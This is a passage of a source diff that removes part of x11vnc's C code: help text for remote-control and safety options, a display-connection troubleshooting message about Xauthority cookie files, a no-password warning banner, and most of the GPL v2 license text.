-" ext_xrecord ext_xkb ext_xshm ext_xinerama ext_overlay\n"
-" ext_xfixes ext_xdamage ext_xrandr rootwin num_buttons\n"
-" button_mask mouse_x mouse_y grab_state pointer_pos\n"
-" pointer_x pointer_y pointer_same pointer_root\n"
-" pointer_mask bpp depth indexed_color dpy_x dpy_y wdpy_x\n"
-" wdpy_y off_x off_y cdpy_x cdpy_y coff_x coff_y rfbauth\n"
-" passwd viewpasswd\n"
-"\n"
-"-QD variable Just like -query variable, but returns the default\n"
-" value for that parameter (no running x11vnc server\n"
-" is consulted)\n"
-"\n"
-"-sync By default -remote commands are run asynchronously, that\n"
-" is, the request is posted and the program immediately\n"
-" exits. Use -sync to have the program wait for an\n"
-" acknowledgement from the x11vnc server that command was\n"
-" processed (somehow). On the other hand -query requests\n"
-" are always processed synchronously because they have\n"
-" to wait for the answer.\n"
-"\n"
-" Also note that if both -remote and -query requests are\n"
-" supplied on the command line, the -remote is processed\n"
-" first (synchronously: no need for -sync), and then\n"
-" the -query request is processed in the normal way.\n"
-" This allows for a reliable way to see if the -remote\n"
-" command was processed by querying for any new settings.\n"
-" Note however that there is timeout of a few seconds\n"
-" (see the next paragraph) so if the x11vnc takes longer\n"
-" than that to process the requests the requester will\n"
-" think that a failure has taken place.\n"
-"\n"
-" The default is to wait 3.5 seconds. Or if cmd=stop\n"
-" only 1.0 seconds. If cmd matches 'script:' then it\n"
-" will wait up to 10.0 seconds. Set X11VNC_SYNC_TIMEOUT\n"
-" to the number of seconds you want it to wait.\n"
-"\n"
-"-query_retries str If a query fails to get a response from an x11vnc\n"
-" server, retry up to n times. \"str\" is specified as\n"
-" n[:t][/match] Optionally the delay between tries may\n"
-" be specified by \"t\" a floating point time (default\n"
-" 0.5 seconds.) Note: the response is not checked for\n"
-" validity or whether it corresponds to the query sent.\n"
-" The query \"ping:mystring\" may be used to help uniquely\n"
-" identify the query. Optionally, a matching string after\n"
-" a \"/\" will be used to check the result text. Up to\n"
-" n retries will take place until the matching string is\n"
-" found in the output text. If the match string is never\n"
-" found the program's exit code is 1; if the match is\n"
-" found it exits with 0. Note that there may be stdout\n"
-" printed for each retry (i.e. multiple lines printed\n"
-" out to stdout.)\n"
-" Example: -query_retries 4:1.5/grab_state\n"
-"\n"
-"-remote_prefix str Enable a remote-control communication channel for\n"
-" connected VNC clients. str is a non-empty string. If a\n"
-" VNC client sends rfbCutText having the prefix \"str\"\n"
-" then the part after it is processed as though it were\n"
-" sent via 'x11vnc -remote ...'. If it begins with\n"
-" neither 'cmd=' nor 'qry=' then 'qry=' is assumed.\n"
-" Any corresponding output text for that remote control\n"
-" command is sent back to all client as rfbCutText.\n"
-" The returned output is also prefixed with \"str\".\n"
-" Example: -remote_prefix DO_THIS:\n"
-"\n"
-" Note that enabling -remote_prefix allows the remote\n"
-" VNC viewers to run x11vnc -remote commands. Do not\n"
-" use this option if they are not to be trusted.\n"
-"\n"
-"-noremote Do not process any remote control commands or queries.\n"
-"-yesremote Do process remote control commands or queries.\n"
-" Default: %s\n"
-"\n"
-" A note about security wrt remote control commands.\n"
-" If someone can connect to the X display and change\n"
-" the property X11VNC_REMOTE, then they can remotely\n"
-" control x11vnc. Normally access to the X display is\n"
-" protected. Note that if they can modify X11VNC_REMOTE\n"
-" on the X server, they have enough permissions to also\n"
-" run their own x11vnc and thus have complete control\n"
-" of the desktop. If the \"-connect /path/to/file\"\n"
-" channel is being used, obviously anyone who can write\n"
-" to /path/to/file can remotely control x11vnc. So be\n"
-" sure to protect the X display and that file's write\n"
-" permissions. See -privremote below.\n"
-"\n"
-" If you are paranoid and do not think -noremote is\n"
-" enough, to disable the X11VNC_REMOTE property channel\n"
-" completely use -novncconnect, or use the -safer option\n"
-" that shuts many things off.\n"
-"\n"
-"-unsafe A few remote commands are disabled by default\n"
-" (currently: id:pick, accept:<cmd>, gone:<cmd>, and\n"
-" rawfb:setup:<cmd>) because they are associated with\n"
-" running external programs. If you specify -unsafe, then\n"
-" these remote-control commands are allowed. Note that\n"
-" you can still specify these parameters on the command\n"
-" line, they just cannot be invoked via remote-control.\n"
-"-safer Equivalent to: -novncconnect -noremote and prohibiting\n"
-" -gui and the -connect file. Shuts off communcation\n"
-" channels.\n"
-"-privremote Perform some sanity checks and disable remote-control\n"
-" commands if it appears that the X DISPLAY and/or\n"
-" connectfile can be accessed by other users. Once\n"
-" remote-control is disabled it cannot be turned back on.\n"
-"-nocmds No external commands (e.g. system(3), popen(3), exec(3))\n"
-" will be run at all.\n"
-"-allowedcmds list \"list\" contains a comma separated list of the only\n"
-" external commands that can be run. The full list of\n"
-" associated options is:\n"
-"\n"
-" stunnel, ssl, unixpw, WAIT, zeroconf, id, accept,\n"
-" afteraccept, gone, pipeinput, v4l-info, rawfb-setup,\n"
-" dt, gui, ssh, storepasswd, passwdfile, custom_passwd,\n"
-" findauth, crash.\n"
-"\n"
-" See each option's help to learn the associated external\n"
-" command. Note that the -nocmds option takes precedence\n"
-" and disables all external commands.\n"
-"\n"
-"-deny_all For use with -remote nodeny: start out denying all\n"
-" incoming clients until \"-remote nodeny\" is used to\n"
-" let them in.\n"
-"\n"
-"%s\n"
-"\n"
-"These options are passed to LibVNCServer:\n"
-"\n"
-;
- /* have both our help and rfbUsage to stdout for more(1), etc. */
- dup2(1, 2);
-
- /* register extension(s) to get their help output */
-#ifdef LIBVNCSERVER_WITH_TIGHTVNC_FILETRANSFER
- rfbRegisterTightVNCFileTransferExtension();
-#endif
-
- if (mode == 1) {
- char *p;
- int l = 0;
- fprintf(stderr, "x11vnc: allow VNC connections to real "
- "X11 displays. %s\n\nx11vnc options:\n", lastmod);
- p = strtok(help, "\n");
- while (p) {
- int w = 23;
- char tmp[100];
- if (p[0] == '-') {
- memset(tmp, 0, sizeof(tmp));
- strncpy(tmp, p, w);
- fprintf(stderr, " %s", tmp);
- l++;
- if (l % 3 == 0) {
- fprintf(stderr, "\n");
- }
- }
- p = strtok(NULL, "\n");
- }
- fprintf(stderr, "\n\nLibVNCServer options:\n");
- rfbUsage();
- fprintf(stderr, "\n");
- exit(1);
- }
-#if 1
- fprintf(stderr, help, lastmod,
- POLL_8TO24_DELAY,
- scaling_copyrect ? ":cr":":nocr",
- view_only ? "on":"off",
- shared ? "on":"off",
- vnc_connect ? "-vncconnect":"-novncconnect",
- xinerama ? "-xinerama":"-noxinerama",
- use_modifier_tweak ? "-modtweak":"-nomodtweak",
- skip_duplicate_key_events ? "-skip_dups":"-noskip_dups",
- add_keysyms ? "-add_keysyms":"-noadd_keysyms",
- no_autorepeat ? "-norepeat":"-repeat",
- alt_arrow_max, alt_arrow,
- alpha_threshold,
- alpha_frac,
- cursor_pos_updates ? "-cursorpos":"-nocursorpos",
- wireframe ? "-wireframe":"-nowireframe",
- WIREFRAME_PARMS,
- wireframe_copyrect_default,
- scroll_copyrect_default,
- scrollcopyrect_min_area,
- scroll_skip_str0 ? scroll_skip_str0 : "(empty)",
- scroll_term_str0,
- max_keyrepeat_str0,
- SCROLL_COPYRECT_PARMS,
- pointer_mode_max, pointer_mode,
- ui_skip,
- defer_update,
- waitms,
- wait_ui,
- take_naps ? "take naps":"no naps",
- screen_blank,
- rfbMaxClientWait/1000,
- watch_fbpm ? "-nofbpm":"-fbpm",
- watch_dpms ? "-nodpms":"-dpms",
- xdamage_max_area, NSCAN, xdamage_memory,
- use_threads ? "-threads":"-nothreads",
- fs_frac,
- gaps_fill,
- grow_fill,
- tile_fuzz,
- accept_remote_cmds ? "-yesremote":"-noremote",
- ""
- );
-#else
- fprintf(stderr, "%s", help);
-#endif
-
- rfbUsage();
-#endif
- exit(1);
-}
-
-void xopen_display_fail_message(char *disp) {
- fprintf(stderr, "\n");
- fprintf(stderr, "*** x11vnc was unable to open the X DISPLAY: \"%s\","
- " it cannot continue.\n", disp);
- fprintf(stderr, "*** There may be \"Xlib:\" error messages above"
- " with details about the failure.\n");
- fprintf(stderr, "\n");
- fprintf(stderr, "Some tips and guidelines:\n");
- fprintf(stderr, "\n");
- fprintf(stderr, "** An X server (the one you wish to view) must"
- " be running before x11vnc is\n");
- fprintf(stderr, " started: x11vnc does not start the X server. "
- "(however, see the -create\n");
- fprintf(stderr, " option if that is what you really want).\n");
- fprintf(stderr, "\n");
- fprintf(stderr, "** You must use -display <disp>, -OR- set and"
- " export your $DISPLAY\n");
- fprintf(stderr, " environment variable to refer to the display of"
- " the desired X server.\n");
- fprintf(stderr, " - Usually the display is simply \":0\" (in fact"
- " x11vnc uses this if you forget\n");
- fprintf(stderr, " to specify it), but in some multi-user"
- " situations it could be \":1\", \":2\",\n");
- fprintf(stderr, " or even \":137\". Ask your administrator"
- " or a guru if you are having\n");
- fprintf(stderr, " difficulty determining what your X DISPLAY is.\n");
- fprintf(stderr, "\n");
- fprintf(stderr, "** Next, you need to have sufficient permissions"
- " (Xauthority) \n");
- fprintf(stderr, " to connect to the X DISPLAY. Here are some"
- " Tips:\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " - Often, you just need to run x11vnc as the user"
- " logged into the X session.\n");
- fprintf(stderr, " So make sure to be that user when you type"
- " x11vnc.\n");
- fprintf(stderr, " - Being root is usually not enough because the"
- " incorrect MIT-MAGIC-COOKIE\n");
- fprintf(stderr, " file may be accessed. The cookie file contains"
- " the secret key that\n");
- fprintf(stderr, " allows x11vnc to connect to the desired"
- " X DISPLAY.\n");
- fprintf(stderr, " - You can explicitly indicate which MIT-MAGIC-COOKIE"
- " file should be used\n");
- fprintf(stderr, " by the -auth option, e.g.:\n");
- fprintf(stderr, " x11vnc -auth /home/someuser/.Xauthority"
- " -display :0\n");
- fprintf(stderr, " x11vnc -auth /tmp/.gdmzndVlR"
- " -display :0\n");
- fprintf(stderr, " you must have read permission for the auth file.\n");
- fprintf(stderr, " See also '-auth guess' and '-findauth' discussed below.\n");
- fprintf(stderr, "\n");
- fprintf(stderr, "** If NO ONE is logged into an X session yet, but"
- " there is a greeter login\n");
- fprintf(stderr, " program like \"gdm\", \"kdm\", \"xdm\", or"
- " \"dtlogin\" running, you will need\n");
- fprintf(stderr, " to find and use the raw display manager"
- " MIT-MAGIC-COOKIE file.\n");
- fprintf(stderr, " Some examples for various display managers:\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " gdm: -auth /var/gdm/:0.Xauth\n");
- fprintf(stderr, " -auth /var/lib/gdm/:0.Xauth\n");
- fprintf(stderr, " kdm: -auth /var/lib/kdm/A:0-crWk72\n");
- fprintf(stderr, " -auth /var/run/xauth/A:0-crWk72\n");
- fprintf(stderr, " xdm: -auth /var/lib/xdm/authdir/authfiles/A:0-XQvaJk\n");
- fprintf(stderr, " dtlogin: -auth /var/dt/A:0-UgaaXa\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " Sometimes the command \"ps wwwwaux | grep auth\""
- " can reveal the file location.\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " Starting with x11vnc 0.9.9 you can have it try to guess by using:\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " -auth guess\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " (see also the x11vnc -findauth option.)\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " Only root will have read permission for the"
- " file, and so x11vnc must be run\n");
- fprintf(stderr, " as root (or copy it). The random characters in the filenames"
- " will of course\n");
- fprintf(stderr, " change and the directory the cookie file resides in"
- " is system dependent.\n");
- fprintf(stderr, "\n");
- fprintf(stderr, "See also: http://www.karlrunge.com/x11vnc/faq.html\n");
-}
-
-void nopassword_warning_msg(int gotloc) {
-
- char str1[] =
-"###############################################################\n"
-"#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#\n"
-"#@ @#\n"
-"#@ ** WARNING ** WARNING ** WARNING ** WARNING ** @#\n"
-"#@ @#\n"
-"#@ YOU ARE RUNNING X11VNC WITHOUT A PASSWORD!! @#\n"
-"#@ @#\n"
-"#@ This means anyone with network access to this computer @#\n"
-"#@ may be able to view and control your desktop. @#\n"
-"#@ @#\n"
-"#@ >>> If you did not mean to do this Press CTRL-C now!! <<< @#\n"
-"#@ @#\n"
-"#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#\n"
-;
- char str2[] =
-"#@ @#\n"
-"#@ You can create an x11vnc password file by running: @#\n"
-"#@ @#\n"
-"#@ x11vnc -storepasswd password /path/to/passfile @#\n"
-"#@ or x11vnc -storepasswd /path/to/passfile @#\n"
-"#@ or x11vnc -storepasswd @#\n"
-"#@ @#\n"
-"#@ (the last one will use ~/.vnc/passwd) @#\n"
-"#@ @#\n"
-"#@ and then starting x11vnc via: @#\n"
-"#@ @#\n"
-"#@ x11vnc -rfbauth /path/to/passfile @#\n"
-"#@ @#\n"
-"#@ an existing ~/.vnc/passwd file from another VNC @#\n"
-"#@ application will work fine too. @#\n"
-"#@ @#\n"
-"#@ You can also use the -passwdfile or -passwd options. @#\n"
-"#@ (note -passwd is unsafe if local users are not trusted) @#\n"
-"#@ @#\n"
-"#@ Make sure any -rfbauth and -passwdfile password files @#\n"
-"#@ cannot be read by untrusted users. @#\n"
-"#@ @#\n"
-"#@ Use x11vnc -usepw to automatically use your @#\n"
-"#@ ~/.vnc/passwd or ~/.vnc/passwdfile password files. @#\n"
-"#@ (and prompt you to create ~/.vnc/passwd if neither @#\n"
-"#@ file exists.) Under -usepw, x11vnc will exit if it @#\n"
-"#@ cannot find a password to use. @#\n"
-"#@ @#\n"
-"#@ @#\n"
-"#@ Even with a password, the subsequent VNC traffic is @#\n"
-"#@ sent in the clear. Consider tunnelling via ssh(1): @#\n"
-"#@ @#\n"
-"#@ http://www.karlrunge.com/x11vnc/#tunnelling @#\n"
-"#@ @#\n"
-"#@ Or using the x11vnc SSL options: -ssl and -stunnel @#\n"
-"#@ @#\n"
-"#@ Please Read the documention for more info about @#\n"
-"#@ passwords, security, and encryption. @#\n"
-"#@ @#\n"
-"#@ http://www.karlrunge.com/x11vnc/faq.html#faq-passwd @#\n"
-;
- char str3[] =
-"#@ @#\n"
-"#@ You are using the -localhost option and that is a good @#\n"
-"#@ thing!! Especially if you ssh(1) into this machine and @#\n"
-"#@ use port redirection. Nevertheless, without a password @#\n"
-"#@ other users could possibly do redirection as well to @#\n"
-"#@ gain access to your desktop. @#\n"
-;
- char str4[] =
-"#@ @#\n"
-"#@ To disable this warning use the -nopw option, or put @#\n"
-"#@ 'nopw' on a line in your ~/.x11vncrc file. @#\n"
-"#@ @#\n"
-"#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#\n"
-"###############################################################\n"
-;
- char str5[] =
-"###############################################################\n\n"
-;
- if (inetd) {
- return;
- }
-
- fprintf(stderr, "%s", str1);
- fflush(stderr);
-#if !PASSWD_REQUIRED
- usleep(750 * 1000);
-#endif
- if (!quiet) {
- fprintf(stderr, "%s", str2);
- if (gotloc) {
- fprintf(stderr, "%s", str3);
- }
- fprintf(stderr, "%s", str4);
- } else {
- fprintf(stderr, "%s", str5);
- }
- fflush(stderr);
-#if !PASSWD_REQUIRED
- usleep(250 * 1000);
-#endif
-}
-
-void print_license(void) {
- char license[] =
-#if !SKIP_HELP
-" GNU GENERAL PUBLIC LICENSE\n"
-" Version 2, June 1991\n"
-"\n"
-" Copyright (C) 1989, 1991 Free Software Foundation, Inc.\n"
-" 59 Temple Place - Suite 330, Boston, MA\n"
-" 02111-1307, USA.\n"
-" Everyone is permitted to copy and distribute verbatim copies\n"
-" of this license document, but changing it is not allowed.\n"
-"\n"
-" Preamble\n"
-"\n"
-" The licenses for most software are designed to take away your\n"
-"freedom to share and change it. By contrast, the GNU General Public\n"
-"License is intended to guarantee your freedom to share and change free\n"
-"software--to make sure the software is free for all its users. This\n"
-"General Public License applies to most of the Free Software\n"
-"Foundation's software and to any other program whose authors commit to\n"
-"using it. (Some other Free Software Foundation software is covered by\n"
-"the GNU Library General Public License instead.) You can apply it to\n"
-"your programs, too.\n"
-"\n"
-" When we speak of free software, we are referring to freedom, not\n"
-"price. Our General Public Licenses are designed to make sure that you\n"
-"have the freedom to distribute copies of free software (and charge for\n"
-"this service if you wish), that you receive source code or can get it\n"
-"if you want it, that you can change the software or use pieces of it\n"
-"in new free programs; and that you know you can do these things.\n"
-"\n"
-" To protect your rights, we need to make restrictions that forbid\n"
-"anyone to deny you these rights or to ask you to surrender the rights.\n"
-"These restrictions translate to certain responsibilities for you if you\n"
-"distribute copies of the software, or if you modify it.\n"
-"\n"
-" For example, if you distribute copies of such a program, whether\n"
-"gratis or for a fee, you must give the recipients all the rights that\n"
-"you have. You must make sure that they, too, receive or can get the\n"
-"source code. And you must show them these terms so they know their\n"
-"rights.\n"
-"\n"
-" We protect your rights with two steps: (1) copyright the software, and\n"
-"(2) offer you this license which gives you legal permission to copy,\n"
-"distribute and/or modify the software.\n"
-"\n"
-" Also, for each author's protection and ours, we want to make certain\n"
-"that everyone understands that there is no warranty for this free\n"
-"software. If the software is modified by someone else and passed on, we\n"
-"want its recipients to know that what they have is not the original, so\n"
-"that any problems introduced by others will not reflect on the original\n"
-"authors' reputations.\n"
-"\n"
-" Finally, any free program is threatened constantly by software\n"
-"patents. We wish to avoid the danger that redistributors of a free\n"
-"program will individually obtain patent licenses, in effect making the\n"
-"program proprietary. To prevent this, we have made it clear that any\n"
-"patent must be licensed for everyone's free use or not licensed at all.\n"
-"\n"
-" The precise terms and conditions for copying, distribution and\n"
-"modification follow.\n"
-" \n"
-" GNU GENERAL PUBLIC LICENSE\n"
-" TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n"
-"\n"
-" 0. This License applies to any program or other work which contains\n"
-"a notice placed by the copyright holder saying it may be distributed\n"
-"under the terms of this General Public License. The \"Program\", below,\n"
-"refers to any such program or work, and a \"work based on the Program\"\n"
-"means either the Program or any derivative work under copyright law:\n"
-"that is to say, a work containing the Program or a portion of it,\n"
-"either verbatim or with modifications and/or translated into another\n"
-"language. (Hereinafter, translation is included without limitation in\n"
-"the term \"modification\".) Each licensee is addressed as \"you\".\n"
-"\n"
-"Activities other than copying, distribution and modification are not\n"
-"covered by this License; they are outside its scope. The act of\n"
-"running the Program is not restricted, and the output from the Program\n"
-"is covered only if its contents constitute a work based on the\n"
-"Program (independent of having been made by running the Program).\n"
-"Whether that is true depends on what the Program does.\n"
-"\n"
-" 1. You may copy and distribute verbatim copies of the Program's\n"
-"source code as you receive it, in any medium, provided that you\n"
-"conspicuously and appropriately publish on each copy an appropriate\n"
-"copyright notice and disclaimer of warranty; keep intact all the\n"
-"notices that refer to this License and to the absence of any warranty;\n"
-"and give any other recipients of the Program a copy of this License\n"
-"along with the Program.\n"
-"\n"
-"You may charge a fee for the physical act of transferring a copy, and\n"
-"you may at your option offer warranty protection in exchange for a fee.\n"
-"\n"
-" 2. You may modify your copy or copies of the Program or any portion\n"
-"of it, thus forming a work based on the Program, and copy and\n"
-"distribute such modifications or work under the terms of Section 1\n"
-"above, provided that you also meet all of these conditions:\n"
-"\n"
-" a) You must cause the modified files to carry prominent notices\n"
-" stating that you changed the files and the date of any change.\n"
-"\n"
-" b) You must cause any work that you distribute or publish, that in\n"
-" whole or in part contains or is derived from the Program or any\n"
-" part thereof, to be licensed as a whole at no charge to all third\n"
-" parties under the terms of this License.\n"
-"\n"
-" c) If the modified program normally reads commands interactively\n"
-" when run, you must cause it, when started running for such\n"
-" interactive use in the most ordinary way, to print or display an\n"
-" announcement including an appropriate copyright notice and a\n"
-" notice that there is no warranty (or else, saying that you provide\n"
-" a warranty) and that users may redistribute the program under\n"
-" these conditions, and telling the user how to view a copy of this\n"
-" License. (Exception: if the Program itself is interactive but\n"
-" does not normally print such an announcement, your work based on\n"
-" the Program is not required to print an announcement.)\n"
-" \n"
-"These requirements apply to the modified work as a whole. If\n"
-"identifiable sections of that work are not derived from the Program,\n"
-"and can be reasonably considered independent and separate works in\n"
-"themselves, then this License, and its terms, do not apply to those\n"
-"sections when you distribute them as separate works. But when you\n"
-"distribute the same sections as part of a whole which is a work based\n"
-"on the Program, the distribution of the whole must be on the terms of\n"
-"this License, whose permissions for other licensees extend to the\n"
-"entire whole, and thus to each and every part regardless of who wrote it.\n"
-"\n"
-"Thus, it is not the intent of this section to claim rights or contest\n"
-"your rights to work written entirely by you; rather, the intent is to\n"
-"exercise the right to control the distribution of derivative or\n"
-"collective works based on the Program.\n"
-"\n"
-"In addition, mere aggregation of another work not based on the Program\n"
-"with the Program (or with a work based on the Program) on a volume of\n"
-"a storage or distribution medium does not bring the other work under\n"
-"the scope of this License.\n"
-"\n"
-" 3. You may copy and distribute the Program (or a work based on it,\n"
-"under Section 2) in object code or executable form under the terms of\n"
-"Sections 1 and 2 above provided that you also do one of the following:\n"
-"\n"
-" a) Accompany it with the complete corresponding machine-readable\n"
-" source code, which must be distributed under the terms of Sections\n"
-" 1 and 2 above on a medium customarily used for software interchange; or,\n"
-"\n"
-" b) Accompany it with a written offer, valid for at least three\n"
-" years, to give any third party, for a charge no more than your\n"
-" cost of physically performing source distribution, a complete\n"
-" machine-readable copy of the corresponding source code, to be\n"
-" distributed under the terms of Sections 1 and 2 above on a medium\n"
-" customarily used for software interchange; or,\n"
-"\n"
-" c) Accompany it with the information you received as to the offer\n"
-" to distribute corresponding source code. (This alternative is\n"
-" allowed only for noncommercial distribution and only if you\n"
-" received the program in object code or executable form with such\n"
-" an offer, in accord with Subsection b above.)\n"
-"\n"
-"The source code for a work means the preferred form of the work for\n"
-"making modifications to it. For an executable work, complete source\n"
-"code means all the source code for all modules it contains, plus any\n"
-"associated interface definition files, plus the scripts used to\n"
-"control compilation and installation of the executable. However, as a\n"
-"special exception, the source code distributed need not include\n"
-"anything that is normally distributed (in either source or binary\n"
-"form) with the major components (compiler, kernel, and so on) of the\n"
-"operating system on which the executable runs, unless that component\n"
-"itself accompanies the executable.\n"
-"\n"
-"If distribution of executable or object code is made by offering\n"
-"access to copy from a designated place, then offering equivalent\n"
-"access to copy the source code from the same place counts as\n"
-"distribution of the source code, even though third parties are not\n"
-"compelled to copy the source along with the object code.\n"
-" \n"
-" 4. You may not copy, modify, sublicense, or distribute the Program\n"
-"except as expressly provided under this License. Any attempt\n"
-"otherwise to copy, modify, sublicense or distribute the Program is\n"
-"void, and will automatically terminate your rights under this License.\n"
-"However, parties who have received copies, or rights, from you under\n"
-"this License will not have their licenses terminated so long as such\n"
-"parties remain in full compliance.\n"
-"\n"
-" 5. You are not required to accept this License, since you have not\n"
-"signed it. However, nothing else grants you permission to modify or\n"
-"distribute the Program or its derivative works. These actions are\n"
-"prohibited by law if you do not accept this License. Therefore, by\n"
-"modifying or distributing the Program (or any work based on the\n"
-"Program), you indicate your acceptance of this License to do so, and\n"
-"all its terms and conditions for copying, distributing or modifying\n"
-"the Program or works based on it.\n"
-"\n"
-" 6. Each time you redistribute the Program (or any work based on the\n"
-"Program), the recipient automatically receives a license from the\n"
-"original licensor to copy, distribute or modify the Program subject to\n"
-"these terms and conditions. You may not impose any further\n"
-"restrictions on the recipients' exercise of the rights granted herein.\n"
-"You are not responsible for enforcing compliance by third parties to\n"
-"this License.\n"
-"\n"
-" 7. If, as a consequence of a court judgment or allegation of patent\n"
-"infringement or for any other reason (not limited to patent issues),\n"
-"conditions are imposed on you (whether by court order, agreement or\n"
-"otherwise) that contradict the conditions of this License, they do not\n"
-"excuse you from the conditions of this License. If you cannot\n"
-"distribute so as to satisfy simultaneously your obligations under this\n"
-"License and any other pertinent obligations, then as a consequence you\n"
-"may not distribute the Program at all. For example, if a patent\n"
-"license would not permit royalty-free redistribution of the Program by\n"
-"all those who receive copies directly or indirectly through you, then\n"
-"the only way you could satisfy both it and this License would be to\n"
-"refrain entirely from distribution of the Program.\n"
-"\n"
-"If any portion of this section is held invalid or unenforceable under\n"
-"any particular circumstance, the balance of the section is intended to\n"
-"apply and the section as a whole is intended to apply in other\n"
-"circumstances.\n"
-"\n"
-"It is not the purpose of this section to induce you to infringe any\n"
-"patents or other property right claims or to contest validity of any\n"
-"such claims; this section has the sole purpose of protecting the\n"
-"integrity of the free software distribution system, which is\n"
-"implemented by public license practices. Many people have made\n"
-"generous contributions to the wide range of software distributed\n"
-"through that system in reliance on consistent application of that\n"
-"system; it is up to the author/donor to decide if he or she is willing\n"
-"to distribute software through any other system and a licensee cannot\n"
-"impose that choice.\n"
-"\n"
-"This section is intended to make thoroughly clear what is believed to\n"
-"be a consequence of the rest of this License.\n"
-" \n"
-" 8. If the distribution and/or use of the Program is restricted in\n"
-"certain countries either by patents or by copyrighted interfaces, the\n"
-"original copyright holder who places the Program under this License\n"
-"may add an explicit geographical distribution limitation excluding\n"
-"those countries, so that distribution is permitted only in or among\n"
-"countries not thus excluded. In such case, this License incorporates\n"
-"the limitation as if written in the body of this License.\n"
-"\n"
-" 9. The Free Software Foundation may publish revised and/or new versions\n"
-"of the General Public License from time to time. Such new versions will\n"
-"be similar in spirit to the present version, but may differ in detail to\n"
-"address new problems or concerns.\n"
-"\n"
-"Each version is given a distinguishing version number. If the Program\n"
-"specifies a version number of this License which applies to it and \"any\n"
-"later version\", you have the option of following the terms and conditions\n"
-"either of that version or of any later version published by the Free\n"
-"Software Foundation. If the Program does not specify a version number of\n"
-"this License, you may choose any version ever published by the Free Software\n"
-"Foundation.\n"
-"\n"
-" 10. If you wish to incorporate parts of the Program into other free\n"
-"programs whose distribution conditions are different, write to the author\n"
-"to ask for permission. For software which is copyrighted by the Free\n"
-"Software Foundation, write to the Free Software Foundation; we sometimes\n"
-"make exceptions for this. Our decision will be guided by the two goals\n"
-"of preserving the free status of all derivatives of our free software and\n"
-"of promoting the sharing and reuse of software generally.\n"
-"\n"
-#endif
-" NO WARRANTY\n"
-"\n"
-" 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\n"
-"FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN\n"
-"OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\n"
-"PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\n"
-"OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n"
-"MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS\n"
-"TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE\n"
-"PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\n"
-"REPAIR OR CORRECTION.\n"
-"\n"
-" 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\n"
-"WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\n"
-"REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\n"
-"INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\n"
-"OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\n"
-"TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\n"
-"YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\n"
-"PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\n"
-"POSSIBILITY OF SUCH DAMAGES.\n"
-"\n"
-#if !SKIP_HELP
-" END OF TERMS AND CONDITIONS\n"
-" \n"
-" Appendix: How to Apply These Terms to Your New Programs\n"
-"\n"
-" If you develop a new program, and you want it to be of the greatest\n"
-"possible use to the public, the best way to achieve this is to make it\n"
-"free software which everyone can redistribute and change under these terms.\n"
-"\n"
-" To do so, attach the following notices to the program. It is safest\n"
-"to attach them to the start of each source file to most effectively\n"
-"convey the exclusion of warranty; and each file should have at least\n"
-"the \"copyright\" line and a pointer to where the full notice is found.\n"
-"\n"
-" <one line to give the program's name and a brief idea of what it does.>\n"
-" Copyright (C) 19yy <name of author>\n"
-"\n"
-" This program is free software; you can redistribute it and/or modify\n"
-" it under the terms of the GNU General Public License as published by\n"
-" the Free Software Foundation; either version 2 of the License, or\n"
-" (at your option) any later version.\n"
-"\n"
-" This program is distributed in the hope that it will be useful,\n"
-" but WITHOUT ANY WARRANTY; without even the implied warranty of\n"
-" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n"
-" GNU General Public License for more details.\n"
-"\n"
-" You should have received a copy of the GNU General Public License\n"
-" along with this program; if not, write to the Free Software\n"
-" Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n"
-"\n"
-"Also add information on how to contact you by electronic and paper mail.\n"
-"\n"
-"If the program is interactive, make it output a short notice like this\n"
-"when it starts in an interactive mode:\n"
-"\n"
-" Gnomovision version 69, Copyright (C) 19yy name of author\n"
-" Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n"
-" This is free software, and you are welcome to redistribute it\n"
-" under certain conditions; type `show c' for details.\n"
-"\n"
-"The hypothetical commands `show w' and `show c' should show the appropriate\n"
-"parts of the General Public License. Of course, the commands you use may\n"
-"be called something other than `show w' and `show c'; they could even be\n"
-"mouse-clicks or menu items--whatever suits your program.\n"
-"\n"
-"You should also get your employer (if you work as a programmer) or your\n"
-"school, if any, to sign a \"copyright disclaimer\" for the program, if\n"
-"necessary. Here is a sample; alter the names:\n"
-"\n"
